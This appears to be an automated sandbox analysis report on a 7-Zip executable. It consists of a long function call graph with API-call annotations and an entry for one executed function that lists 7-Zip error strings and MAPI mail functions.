29410->29420 29411 c74e68 29418 c74e71 29411->29418 29419 c74e9a 29411->29419 29412 c74c8a 30200 c51a79 free 29412->30200 29415 c528a5 2 API calls 29424 c75443 29415->29424 29416 c74dc3 29425 c74dcb 29416->29425 29416->29603 29417 c74c14 29426 c560f5 36 API calls 29417->29426 29427 c5150c 4 API calls 29418->29427 29442 c74ece 29419->29442 29443 c51a52 2 API calls 29419->29443 29428 c52a48 3 API calls 29420->29428 29421->29411 29429 c74e23 29421->29429 29451 c74e01 29421->29451 29423 c74fda 30215 c51a79 free 29423->30215 29431 c528a5 2 API calls 29424->29431 30220 c51a79 free 29425->30220 29438 c74c1d 29426->29438 29432 c74e80 29427->29432 29433 c751b1 29428->29433 30207 c5236c malloc _CxxThrowException free ctype 29429->30207 29437 c75457 29431->29437 30208 c5236c malloc _CxxThrowException free ctype 29432->30208 30230 c586fb GetSystemTimeAsFileTime 29433->30230 29435 c74e35 29444 c5150c 4 API calls 29435->29444 29461 c75495 29437->29461 30250 c55762 54 API calls 2 library calls 29437->30250 29439 c74c2c 29438->29439 29447 c52a48 3 API calls 29438->29447 30195 c51a79 free 29439->30195 30209 c694bb malloc _CxxThrowException 29442->30209 29450 c74eb2 29443->29450 29444->29451 29445 c75096 30221 c51a79 free 29445->30221 29447->29439 29449 c751d0 30231 c689ee 29449->30231 29465 c69bdf 4 API calls 29450->29465 30214 c51a79 free 29451->30214 29453 c74ee8 29457 c52a48 3 API calls 29453->29457 29454->29376 29454->29395 29456 c7509e 30222 c695fb free __EH_prolog ctype 29456->30222 29528 c74f2c 29457->29528 29501 c75518 29461->29501 30252 c77941 malloc _CxxThrowException free 29461->30252 29463 c7547b 29466 c52a48 3 API calls 29463->29466 29464->29415 29465->29442 29468 c7548a 29466->29468 30251 c57034 malloc _CxxThrowException free _CxxThrowException 29468->30251 29470 c52a48 3 API calls 29470->29501 29471 c74f3d 30211 c51a79 free 29471->30211 29473 c66de6 free 29477 c75ffb 29473->29477 29474 c75667 29627 c7568b 29474->29627 30264 c56fd8 malloc _CxxThrowException free ctype 29474->30264 29475 c7557e 29475->29474 30255 c77728 13 API calls 2 library calls 29475->30255 30337 c68660 free __EH_prolog ctype 29477->30337 29479 c752fb 29961 c81e9f 29479->29961 29975 c51c6a fputc 29479->29975 29480 c752da 29480->29604 30246 c5236c malloc _CxxThrowException free ctype 29480->30246 29481 c745ef 4 API calls 29481->29501 29485 c755b0 29485->29474 29488 c755ba 29485->29488 29486 c754cb 29486->29501 29503 c52a48 3 API calls 29486->29503 29487 c74fb9 30212 c51a79 free 29487->30212 30256 c77a48 free ctype 29488->30256 29490 c758f9 29495 c6c7b3 free 29490->29495 29493 c74fc1 30213 c69c9d free ctype 29493->30213 29496 c75901 29495->29496 29504 c75a1e 29496->29504 29505 c7590b 29496->29505 29498 c755c6 30257 c74062 12 API calls 29498->30257 29499 c757d7 29499->29490 29507 c758e5 29499->29507 30266 c51a79 free 29499->30266 29500 c755e4 30258 c5236c malloc _CxxThrowException free ctype 29500->30258 29501->29470 29501->29475 29501->29481 29501->29500 29976 c561a7 29501->29976 30254 c51a79 free 29501->30254 29502 c528a5 2 API calls 29502->29627 29509 c75511 29503->29509 29525 c549d8 2 API calls 29504->29525 29746 c75d2c 29504->29746 30282 c746d5 4 API calls 2 library calls 29505->30282 30281 c71f9d free 29507->30281 30253 c57034 malloc _CxxThrowException free _CxxThrowException 29509->30253 29511 c75309 29511->29464 29518 c528a5 2 API calls 29511->29518 29511->29604 29512 c755fa 29523 c5150c 4 API calls 29512->29523 29515 c755d2 29520 c80d45 ctype free 29515->29520 29530 c75330 29518->29530 29519 c75922 29534 c75980 29519->29534 30283 c552a7 12 API calls 2 library calls 29519->30283 29536 c755de 29520->29536 29521 c76039 30341 c51a79 free 29521->30341 29522 c75801 30267 c77a48 free ctype 29522->30267 29532 c75606 29523->29532 29533 c75a40 29525->29533 29526 c745ef 4 API calls 29526->29627 29527 c74f96 30210 c5236c malloc _CxxThrowException free ctype 29527->30210 29528->29471 29528->29527 29535 c7503a 29528->29535 29537 c52978 2 API calls 29530->29537 30259 c51a79 free 29532->30259 29542 c75a44 29533->29542 29543 c75ab2 GetProcAddress 29533->29543 30289 c54dc4 8 API calls 2 library calls 29534->30289 29540 c750b9 29535->29540 30216 c747cd 4 API calls 2 library calls 29535->30216 30261 c557f0 44 API calls 29536->30261 29547 c75343 29537->29547 29538 c76042 30223 c51a79 free 29540->30223 29541 c7580e 30268 c74062 12 API calls 29541->30268 30296 c74084 malloc _CxxThrowException free GetLastError 29542->30296 29550 c75ac7 29543->29550 29718 c75b23 29543->29718 29545 c52a48 3 API calls 29545->29627 29557 c51089 4 API calls 29547->29557 29549 c75934 29549->29534 29554 c75994 29569 c75354 29557->29569 29560 c75066 29560->29540 29573 c7506a 29560->29573 29561 c7581a 29575 c80d45 ctype free 29561->29575 29565 c750c4 30224 c51a79 free 29565->30224 29566 c7564e 29568 c75826 30269 c51a79 free 29568->30269 29581 c55c9c 36 API calls 29569->29581 30217 c51a79 free 29573->30217 29575->29568 29576 c75629 30260 c74062 12 API calls 29576->30260 29630 c75365 29581->29630 29589 c75ba7 29590 c750cc 30225 c69c9d free ctype 29590->30225 29595 c75075 30218 c51a79 free 29595->30218 29597 c75837 30270 c51a79 free 29597->30270 29598 c75636 29613 c80d45 ctype free 29598->29613 29601 c745ef 4 API calls 29601->29718 30226 c51a79 free 29603->30226 29604->29473 29605 c75865 30273 c51a79 free 29605->30273 29606 c7540a 30248 c51a79 free 29606->30248 29608 c75f5c 29641 c75f71 29608->29641 29642 c76029 29608->29642 29613->29536 29616 c528a5 2 API calls 29616->29718 29624 c7507d 30219 c69c9d free ctype 29624->30219 29625 c7583f 30271 c77a48 free ctype 29625->30271 29627->29499 29627->29502 29627->29526 29627->29545 29627->29568 29627->29605 29643 c758a6 29627->29643 29659 c51a79 free ctype 29627->29659 29984 c761ff 29627->29984 30170 c81ff5 29627->30170 30190 c51c6a fputc 29627->30190 30265 c52b46 malloc _CxxThrowException free ctype 29627->30265 29628 c75878 30274 c51a79 free 29628->30274 29630->29606 30247 c670de 11 API calls 29630->30247 29633 c75427 30249 c51a79 free 29633->30249 29657 c80d45 ctype free 29641->29657 29667 c80d45 ctype free 29642->29667 30277 c51a79 free 29643->30277 29654 c7584d 30272 c74062 12 API calls 29654->30272 29658 c51a79 free ctype 29658->29746 29659->29627 29660 c75880 30275 c77a48 free ctype 29660->30275 29669 c75859 29678 c758b7 30278 c51a79 free 29678->30278 29681 c55c9c 36 API calls 29681->29746 29685 c5150c 4 API calls 29685->29718 29688 c7588e 30276 c74062 12 API calls 29688->30276 29703 c758bf 30279 c77a48 free ctype 29703->30279 29711 c7589a 29721 c80d45 ctype free 29711->29721 29713 c75f7c 30330 c51a79 free 29713->30330 29714 c75ed9 29714->29608 29714->29713 30324 c66f4e malloc _CxxThrowException free _CxxThrowException 29714->30324 30325 c5614e 36 API calls 2 library calls 29714->30325 30326 c54d42 8 API calls 2 library calls 29714->30326 30327 c51a79 free 29714->30327 29718->29589 29718->29601 29718->29616 29718->29685 29729 c51a79 free ctype 29718->29729 29721->29643 29724 c758cd 30280 c74062 12 API calls 29724->30280 29726 c75e71 CompareFileTime 29734 c75e82 CompareFileTime 29726->29734 29726->29746 29729->29718 29734->29746 29738 c758d9 29746->29521 29746->29658 29746->29681 29746->29714 29746->29726 29749 c75f5e 29746->29749 29750 c75eab 29746->29750 30314 c66f4e malloc _CxxThrowException free _CxxThrowException 29746->30314 30315 c590bb malloc _CxxThrowException free memcpy 29746->30315 30322 c760bc malloc _CxxThrowException 29746->30322 30328 c51a79 free 29749->30328 30323 c552a7 12 API calls 2 library calls 29750->30323 29757 c75f69 29775 c8046b __EH_prolog 29772->29775 29773 c804e3 29774 c805d9 29773->29774 29780 c80515 29773->29780 29777 c528a5 2 API calls 29774->29777 29816 c7ed9c 29774->29816 29775->29773 30937 c51c6a fputc 29775->30937 29779 c805e9 29777->29779 29778 c8049a fputs 30938 c51c6a fputc 29778->30938 29811 c80606 29779->29811 30950 c52c69 malloc _CxxThrowException free _CxxThrowException 29779->30950 29782 c80560 29780->29782 29796 c8051f 29780->29796 29782->29816 30944 c51c6a fputc 29782->30944 29783 c804ac 30939 c51c6a fputc 29783->30939 29786 c80628 29787 c8065a 29786->29787 30953 c54ad4 6 API calls 2 library calls 29786->30953 29795 c80676 29787->29795 30956 c51c7d 10 API calls 2 library calls 29787->30956 29789 c805fe 30951 c52bba malloc _CxxThrowException free _CxxThrowException 29789->30951 29790 c804b3 30940 c80693 17 API calls 2 library calls 29790->30940 29791 c52c2d 4 API calls 29791->29811 29793 c8056b fputs 30945 c51c6a fputc 29793->30945 30958 c51a79 free 29795->30958 29801 c8054b fputs 29796->29801 29796->29816 30943 c51c5b fflush 29796->30943 29798 c80638 29805 c52c2d 4 API calls 29798->29805 30936 c51c6a fputc 29801->30936 29802 c804c3 fputs 30941 c51eda fputs 29802->30941 29812 c80645 29805->29812 29806 c8057d 30946 c51c6a fputc 29806->30946 29807 c8066f 30957 c51c7d 10 API calls 2 library calls 29807->30957 29811->29786 29811->29791 30952 c52bba malloc _CxxThrowException free _CxxThrowException 29811->30952 30954 c51a79 free 29812->30954 29815 c804dc 30942 c51c6a fputc 29815->30942 29816->29199 29818 c80584 30947 c80693 17 API calls 2 library calls 29818->30947 29820 c80651 30955 c52bba malloc _CxxThrowException free _CxxThrowException 29820->30955 29823 c80594 fputs 30948 c51eda fputs 29823->30948 29825 c805a7 fputs 29826 c805c3 29825->29826 29827 c805b7 fputc 29825->29827 30949 c51c6a fputc 29826->30949 29827->29826 29829->29118 29830->29209 29831->29217 29832->29228 29833->29243 29834->29125 29835->29148 29836->29186 29837->29193 29838->29243 29840->29139 29841->29166 29842->29176 29843->29184 29844->29201 29845->29194 29846->29200 29847->29218 29848->29229 29849->29244 29850->29206 29851->29215 29852->29233 29853->29251 29854->29262 29855->29208 29856->29225 29857->29210 29858->29234 29859->29216 29860->29245 29861->29230 29862->29247 29863->29267 29864->29222 29865->29252 29866->29266 29867->29250 29868->29281 29869->29270 29870->29283 29871->29290 29872->29299 29873->29303 29874->29307 29875->29286 29876->29291 29877->29297 29878->29302 29879->29306 29880->29310 29881->29239 29882->29263 29883->29278 29884->29239 29885->29255 29886->29268 29887->29280 29888->29288 29889->29130 29890->29137 29891->29145 29892->29150 29893->29161 29894->29168 29895->29174 29897 c7dd77 __EH_prolog 29896->29897 29912 c7ddfa 29897->29912 29900 c522eb 2 API calls 29901 c7dd99 29900->29901 29902 c522eb 2 API calls 29901->29902 29903 c7dda5 29902->29903 29904 c522eb 2 API calls 29903->29904 29905 c7ddb1 29904->29905 29906 c528a5 2 API calls 29905->29906 29907 c7ddbd 29906->29907 29908 c7ddfa 2 API calls 29907->29908 29909 c7ddc9 29908->29909 29910 c522eb 2 API calls 29909->29910 29911 c7dd2a 29910->29911 29911->29316 29913 c7de04 __EH_prolog 29912->29913 29914 c522eb 2 API calls 29913->29914 29915 c7de29 29914->29915 29916 c528a5 2 API calls 29915->29916 29917 c7dd83 29916->29917 29917->29900 29919 c8015b __EH_prolog 29918->29919 29920 c7dd6d 2 API calls 29919->29920 29921 c8016d 29920->29921 29922 c522eb 2 API calls 29921->29922 29923 c80199 29922->29923 29924 c528a5 2 API calls 29923->29924 29925 c80111 29924->29925 29925->29322 29927 c69559 __EH_prolog 29926->29927 29928 c528a5 2 API calls 29927->29928 29929 c6958e 29928->29929 30349 c695a9 29929->30349 29933 c745f9 __EH_prolog 29932->29933 30355 c74653 29933->30355 29936 c7462c 29938 c52978 2 API calls 29936->29938 29937 c51089 4 API calls 29939 c74620 29937->29939 29940 c74638 29938->29940 29941 c52c2d 4 API calls 29939->29941 30358 c51a79 free 29940->30358 29941->29936 29943 c74640 29943->29350 30203 c74671 4 API calls 2 library calls 29943->30203 29945 c67005 __EH_prolog 29944->29945 30359 c5d4aa 29945->30359 29948 c66dba 29949 c528a5 2 API calls 29948->29949 29950 c66dc5 29949->29950 29950->29404 29950->29405 29960 c672f6 __EH_prolog 29951->29960 29952 c6739c 30465 c66fa4 malloc _CxxThrowException free memcpy 29952->30465 29954 c673a4 30466 c6814e 11 API calls 2 library calls 29954->30466 29955 c66fc6 malloc _CxxThrowException free memcpy 29955->29960 29957 c673ac 29957->29479 29957->29480 29959 c80d45 ctype free 29959->29960 29960->29952 29960->29955 29960->29957 29960->29959 30375 c673c3 29960->30375 29962 c81ea9 __EH_prolog 29961->29962 29963 c81554 6 API calls 29962->29963 29965 c81ec5 29962->29965 29963->29965 29964 c81f14 29964->29511 29965->29964 29966 c522eb 2 API calls 29965->29966 29967 c81ee0 29966->29967 29968 c7a11c 6 API calls 29967->29968 29969 c81eef fputs 29968->29969 30654 c51c6a fputc 29969->30654 29971 c81f05 30655 c51c6a fputc 29971->30655 29973 c81f0c 30656 c51a79 free 29973->30656 29975->29511 29977 c561b1 __EH_prolog 29976->29977 29978 c528a5 2 API calls 29977->29978 29979 c561c8 29978->29979 29980 c55c9c 36 API calls 29979->29980 29981 c561d5 29980->29981 30657 c51a79 free 29981->30657 29983 c561df 29983->29501 29985 c76209 __EH_prolog 29984->29985 29986 c76275 29985->29986 29987 c7625f _CxxThrowException 29985->29987 29989 c762ba 29985->29989 29988 c76290 _CxxThrowException 29986->29988 29986->29989 29990 c76344 29986->29990 29987->29986 29988->29986 29989->29627 29990->29989 29991 c765ac 29990->29991 30049 c763dd 29990->30049 30658 c795ed 29991->30658 29993 c528a5 2 API calls 29993->30049 29999 c80d45 ctype free 30003 c771a1 29999->30003 30000 c76581 30001 c51a52 2 API calls 30000->30001 30096 c76dc4 30000->30096 30004 c76797 30001->30004 30011 c767aa 30004->30011 30696 c77d47 30004->30696 30005 c76586 30762 c51a79 free 30005->30762 30007 c5150c 4 API calls 30007->30049 30010 c7658e 30012 c80d45 ctype free 30010->30012 30024 c74966 malloc _CxxThrowException free CharUpperW 30024->30049 30035 c51a79 free ctype 30035->30049 30036 c51089 4 API calls 30036->30049 30049->29993 30049->30000 30049->30005 30049->30007 30049->30024 30049->30035 30049->30036 30758 c5fa53 malloc _CxxThrowException 30049->30758 30759 c52be1 malloc _CxxThrowException free _CxxThrowException 30049->30759 30760 c6d86c VariantClear 30049->30760 30761 c77c29 malloc _CxxThrowException free memcpy ctype 30049->30761 30096->29999 30171 c81fff __EH_prolog 30170->30171 30172 c82018 30171->30172 30173 c81554 6 API calls 30171->30173 30174 c522eb 2 API calls 30172->30174 30189 c82091 30172->30189 30173->30172 30175 c82029 30174->30175 30867 c820a5 30175->30867 30189->29627 30190->29627 30191->29349 30192->29357 30193->29368 30194->29417 30195->29454 30196->29368 30197->29390 30198->29406 30199->29412 30200->29335 30201 c74761 malloc _CxxThrowException free CharUpperW 30201->29345 30202->29340 30203->29359 30204->29372 30205->29350 30206->29416 30207->29435 30208->29451 30209->29453 30210->29471 30211->29487 30212->29493 30213->29451 30214->29423 30215->29348 30216->29560 30217->29595 30218->29624 30219->29425 30220->29445 30221->29456 30222->29406 30223->29565 30224->29590 30225->29603 30226->29356 30227->29374 30228->29391 30229->29363 30230->29449 30232 c689f8 __EH_prolog 30231->30232 30233 c51a52 2 API calls 30232->30233 30234 c68a03 30233->30234 30235 c68a1a 30234->30235 30877 c68a69 malloc _CxxThrowException memcpy __EH_prolog 30234->30877 30237 c69bdf 4 API calls 30235->30237 30238 c68a26 30237->30238 30239 c66de6 30238->30239 30878 c51a79 free 30239->30878 30241 c66df1 30879 c51a79 free 30241->30879 30243 c66df9 30880 c51a79 free 30243->30880 30246->29604 30247->29606 30248->29633 30249->29464 30250->29463 30251->29461 30252->29486 30253->29501 30254->29501 30255->29485 30256->29498 30257->29515 30258->29512 30259->29576 30260->29598 30261->29566 30264->29627 30265->29627 30266->29522 30267->29541 30268->29561 30269->29597 30270->29625 30271->29654 30272->29669 30273->29628 30274->29660 30275->29688 30276->29711 30277->29678 30278->29703 30279->29724 30280->29738 30281->29490 30282->29519 30283->29549 30289->29554 30314->29746 30315->29746 30322->29746 30323->29746 30324->29714 30325->29714 30326->29714 30327->29714 30328->29757 30330->29641 30337->29371 30338->29348 30339->29406 30341->29538 30350 c695b3 __EH_prolog 30349->30350 30351 c528a5 2 API calls 30350->30351 30352 c695e0 30351->30352 30353 c528a5 2 API calls 30352->30353 30354 c6959a 30353->30354 30354->29340 30354->30201 30356 c5284a 2 API calls 30355->30356 30357 c7460c 30356->30357 30357->29936 30357->29937 30358->29943 30370 c836f0 30359->30370 30361 c5d4b4 GetCurrentProcess 30371 c5d548 30361->30371 30363 c5d4d1 OpenProcessToken 30364 c5d527 30363->30364 30365 c5d4e2 LookupPrivilegeValueW 30363->30365 30367 c5d548 CloseHandle 30364->30367 30365->30364 30366 c5d504 AdjustTokenPrivileges 30365->30366 30366->30364 30368 c5d519 GetLastError 30366->30368 30369 c5d533 30367->30369 30368->30364 30369->29948 30370->30361 30372 c5d555 CloseHandle 30371->30372 30373 c5d551 30371->30373 30374 c5d565 30372->30374 30373->30363 30374->30363 30377 c673cd __EH_prolog 30375->30377 30376 c6786c 30376->29960 30377->30376 30387 c678e4 30377->30387 30459 c6742b 30377->30459 30378 c67a7c 30379 c528a5 2 API calls 30378->30379 30380 c67a95 30379->30380 30381 c561f0 4 API calls 30380->30381 30383 c67aaa 30381->30383 30382 c67965 30606 c56284 6 API calls 2 library calls 30382->30606 30391 c528a5 2 API calls 30383->30391 30384 c67864 30601 c51a79 free 30384->30601 30386 c5284a 2 API calls 30386->30459 30387->30378 30387->30382 30389 c5284a 2 API calls 30448 c67727 30389->30448 30390 c67a40 30393 c80d45 ctype free 30390->30393 30430 c67abd 30391->30430 30392 c52978 2 API calls 30442 c6797d 30392->30442 30393->30376 30395 c528a5 2 API calls 30395->30459 30396 c67a56 30608 c51a79 free 30396->30608 30398 c67b44 30610 c66e2b GetLastError 30398->30610 30399 c528a5 2 API calls 30399->30448 30402 c67b52 30611 c51a79 free 30402->30611 30404 c67a63 30408 c80d45 ctype free 30404->30408 30405 c51089 4 API calls 30405->30459 30406 c67b4e 30406->30402 30409 c67b76 30406->30409 30408->30376 30613 c51a79 free 30409->30613 30410 c67b5a 30612 c51a79 free 30410->30612 30412 c528a5 2 API calls 30412->30442 30414 c52a48 3 API calls 30414->30459 30416 c680e6 4 API calls 30416->30448 30418 c55c9c 36 API calls 30418->30459 30419 c52a48 3 API calls 30419->30442 30420 c67b66 30423 c55849 FindClose 30420->30423 30421 c67b80 30614 c51a79 free 30421->30614 30422 c52a48 3 API calls 30422->30448 30423->30376 30426 c67bd3 58 API calls 30426->30448 30428 c67e5a 58 API calls 30428->30442 30429 c51089 4 API calls 30429->30448 30430->30398 30430->30402 30430->30409 30439 c528a5 2 API calls 30430->30439 30533 c56258 30430->30533 30538 c67e5a 30430->30538 30609 c51a79 free 30430->30609 30431 c67b8b 30433 c55849 FindClose 30431->30433 30432 c55c9c 36 API calls 30432->30448 30433->30376 30434 c80d45 ctype free 30434->30448 30435 c67795 30600 c51a79 free 30435->30600 30436 c67a51 30607 c51a79 free 30436->30607 30437 c51a79 free ctype 30437->30442 30439->30430 30441 c678c2 30603 c51a79 free 30441->30603 30442->30390 30442->30392 30442->30396 30442->30412 30442->30419 30442->30428 30442->30436 30442->30437 30443 c677a6 30604 c51a79 free 30443->30604 30444 c51a79 free ctype 30444->30448 30448->30384 30448->30389 30448->30399 30448->30416 30448->30422 30448->30426 30448->30429 30448->30432 30448->30434 30448->30441 30448->30444 30599 c529a6 malloc _CxxThrowException free ctype 30448->30599 30602 c66e2b GetLastError 30448->30602 30449 c51a79 free ctype 30449->30459 30451 c678d4 30605 c51a79 free 30451->30605 30456 c5150c malloc _CxxThrowException free memcpy 30456->30459 30459->30386 30459->30395 30459->30405 30459->30414 30459->30418 30459->30435 30459->30448 30459->30449 30459->30456 30460 c67799 30459->30460 30462 c80d45 free ctype 30459->30462 30467 c680e6 30459->30467 30477 c53d41 30459->30477 30482 c66cd8 30459->30482 30492 c671f0 30459->30492 30515 c53a5d 30459->30515 30519 c67bd3 30459->30519 30594 c529a6 malloc _CxxThrowException free ctype 30459->30594 30595 c66e2b GetLastError 30459->30595 30596 c670de 11 API calls 30459->30596 30597 c67c6d 20 API calls 2 library calls 30459->30597 30598 c60dd3 malloc _CxxThrowException free memcpy ctype 30459->30598 30463 c80d45 ctype free 30460->30463 30462->30459 30463->30435 30465->29954 30466->29957 30468 c680f0 __EH_prolog 30467->30468 30469 c52978 2 API calls 30468->30469 30470 c68100 30469->30470 30471 c52c2d 4 API calls 30470->30471 30472 c6810e 30471->30472 30473 c51089 4 API calls 30472->30473 30474 c68118 30473->30474 30615 c51a79 free 30474->30615 30476 c6813d 30476->30459 30480 c53d47 30477->30480 30479 c53d72 30479->30459 30480->30479 30616 c53c4c 30480->30616 30620 c5446e 5 API calls __EH_prolog 30480->30620 30483 c66ce2 __EH_prolog 30482->30483 30484 c66dba 2 API calls 30483->30484 30485 c66cf2 30484->30485 30486 c52a48 3 API calls 30485->30486 30487 c66d53 30486->30487 30488 c689ee 5 API calls 30487->30488 30489 c66d5f 30488->30489 30490 c66de6 free 30489->30490 30491 c66da9 30490->30491 30491->30459 30494 c671fa __EH_prolog 30492->30494 30493 c67277 30493->30459 30494->30493 30495 c5284a 2 API calls 30494->30495 30496 c67226 30495->30496 30622 c56d9d 12 API calls 2 library calls 30496->30622 30498 c6723d 30499 c672a4 GetLastError 30498->30499 30500 c67241 30498->30500 30502 c672a2 30499->30502 30623 c5fa6e malloc _CxxThrowException __EH_prolog 30500->30623 30504 c672c4 30502->30504 30628 c51a79 free 30502->30628 30503 c67249 30624 c56b89 malloc _CxxThrowException free _CxxThrowException 30503->30624 30629 c51a79 free 30504->30629 30508 c67260 30509 c67264 30508->30509 30510 c6728b 30508->30510 30625 c7bea9 free ctype 30509->30625 30627 c7bea9 free ctype 30510->30627 30513 c6726f 30516 c53a86 30515->30516 30517 c53a68 30515->30517 30516->30459 30517->30516 30630 c536dd wcscmp 30517->30630 30520 c67bdd __EH_prolog 30519->30520 30521 c66cbd 2 API calls 30520->30521 30522 c67bf5 30521->30522 30631 c66fc6 30522->30631 30525 c5284a 2 API calls 30526 c67c1f 30525->30526 30527 c673c3 58 API calls 30526->30527 30534 c5622c 10 API calls 30533->30534 30535 c56261 30534->30535 30536 c56270 GetLastError 30535->30536 30537 c56269 30535->30537 30536->30537 30537->30430 30539 c67e64 __EH_prolog 30538->30539 30540 c52978 2 API calls 30539->30540 30541 c67e7e 30540->30541 30640 c54354 30541->30640 30594->30459 30595->30459 30596->30459 30597->30459 30598->30459 30599->30448 30600->30443 30601->30376 30602->30448 30603->30443 30604->30451 30605->30376 30606->30442 30607->30396 30608->30404 30609->30430 30610->30406 30611->30410 30612->30420 30613->30421 30614->30431 30615->30476 30619 c53c58 30616->30619 30617 c53c7e 30617->30480 30619->30617 30621 c53958 CharUpperW wcscmp 30619->30621 30620->30480 30621->30619 30622->30498 30623->30503 30624->30508 30625->30513 30627->30502 30628->30504 30629->30493 30630->30517 30632 c69bdf 4 API calls 30631->30632 30633 c66fd5 30632->30633 30634 c69bdf 4 API calls 30633->30634 30635 c66fe1 30634->30635 30636 c5150c 4 API calls 30635->30636 30637 c66fec 30636->30637 30637->30525 30641 c5435e __EH_prolog 30640->30641 30643 c51a52 2 API calls 30641->30643 30645 c54393 30641->30645 30643->30645 30654->29971 30655->29973 30656->29964 30657->29983 30660 c795f7 __EH_prolog 30658->30660 30659 c79645 30803 c5b0b3 30659->30803 30660->30659 30662 c51a52 2 API calls 30660->30662 30662->30659 30758->30049 30759->30049 30760->30049 30761->30049 30762->30010 30804 c5b0c4 30803->30804 30805 c5b0e7 30803->30805 30868 c820bf 30867->30868 30869 c52497 6 API calls 30868->30869 30870 c820c7 30869->30870 30871 c52497 6 API calls 30870->30871 30877->30235 30878->30241 30879->30243 30936->29816 30937->29778 30938->29783 30939->29790 30940->29802 30941->29815 30942->29773 30943->29801 30944->29793 30945->29806 30946->29818 30947->29823 30948->29825 30949->29816 30950->29789 30951->29811 30952->29811 30953->29798 30954->29820 30955->29787 30956->29807 30957->29795 30958->29816 30959 c83b53 __setusermatherr 30960 c83b5f 30959->30960 30964 c83c0a _controlfp 30960->30964 30962 c83b64 _initterm __getmainargs _initterm __p___initenv 30963 c81004 30962->30963 30964->30962 30965 c5b658 30966 c5b662 __EH_prolog 30965->30966 30993 c513e5 30966->30993 30969 c5b699 6 API calls 30974 c5b6f8 30969->30974 30971 c5b68b _CxxThrowException 30971->30969 30972 c5b7b4 31006 c5b94b 30972->31006 30974->30972 31010 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 30974->31010 30977 c5b7e2 _CxxThrowException 30977->30972 30994 c513ef __EH_prolog 30993->30994 30995 c6c7b3 free 30994->30995 30996 c5141b 30995->30996 30997 c51428 30996->30997 31011 c5120b free ctype 30996->31011 30998 c51a52 2 API calls 30997->30998 31002 c5143d 30998->31002 31000 c5150c 4 API calls 31000->31002 31002->31000 31003 c514ef 31002->31003 31005 c514dc 31002->31005 31012 c5125e 4 API calls 2 library calls 31002->31012 31004 c52a48 3 API calls 31003->31004 31004->31005 31005->30969 31009 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 31005->31009 31013 c57e33 GetCurrentProcess OpenProcessToken 31006->31013 31009->30971 31010->30977 31011->30997 31012->31002 31014 c57e5a LookupPrivilegeValueW 31013->31014 31017 c57eb0 31013->31017 31015 c57ea2 31014->31015 31016 c57e6c AdjustTokenPrivileges 31014->31016 31019 c57ea5 CloseHandle 31015->31019 31016->31015 31018 c57e92 GetLastError 31016->31018 31018->31019 31019->31017

                                                                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                                                                    Function 00C74AA2 Relevance: 48.8, APIs: 10, Strings: 17, Instructions: 1519COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C74AA7
                                                                                                                                                                                                                                                                      • Part of subcall function 00C54A55: __EH_prolog.LIBCMT ref: 00C54A5A
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                      • Part of subcall function 00C560F5: __EH_prolog.LIBCMT ref: 00C560FA
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8D1C8), ref: 00C74D5D
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8D1C8), ref: 00C74DA9
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8D1C8), ref: 00C74DF3
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5150C: __EH_prolog.LIBCMT ref: 00C51511
                                                                                                                                                                                                                                                                      • Part of subcall function 00C672EC: __EH_prolog.LIBCMT ref: 00C672F1
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrow$free
                                                                                                                                                                                                                                                                    • String ID: 001$7-Zip cannot find MAPISendMail function$<$GetFullPathName error$MAPISendMail$Mapi32.dll$SFX file is not specified$Scanning error$The file already exists$The file is read-only$There is some data block after the end of the archive$cannot delete the file$cannot find specified SFX module$cannot load Mapi32.dll$cannot move the file$rsfx$stdout
                                                                                                                                                                                                                                                                    • API String ID: 2999742021-3050283028
                                                                                                                                                                                                                                                                    • Opcode ID: aa3c8622f0b911bf1f1b7e4f8380cf2cc11b592e7ceacbe32872fa075abe79bc
                                                                                                                                                                                                                                                                    • Instruction ID: 5b211f18104bfa02c5374faa6e869cf7a46820a48a4348e02817860130f430fb
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: aa3c8622f0b911bf1f1b7e4f8380cf2cc11b592e7ceacbe32872fa075abe79bc
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 68E2D230C01258DFDF26EFA4C845BECBBB4AF14314F14809AE85967292DB745F89EB51
                                                                                                                                                                                                                                                                    Function 00C57E33 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 55COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
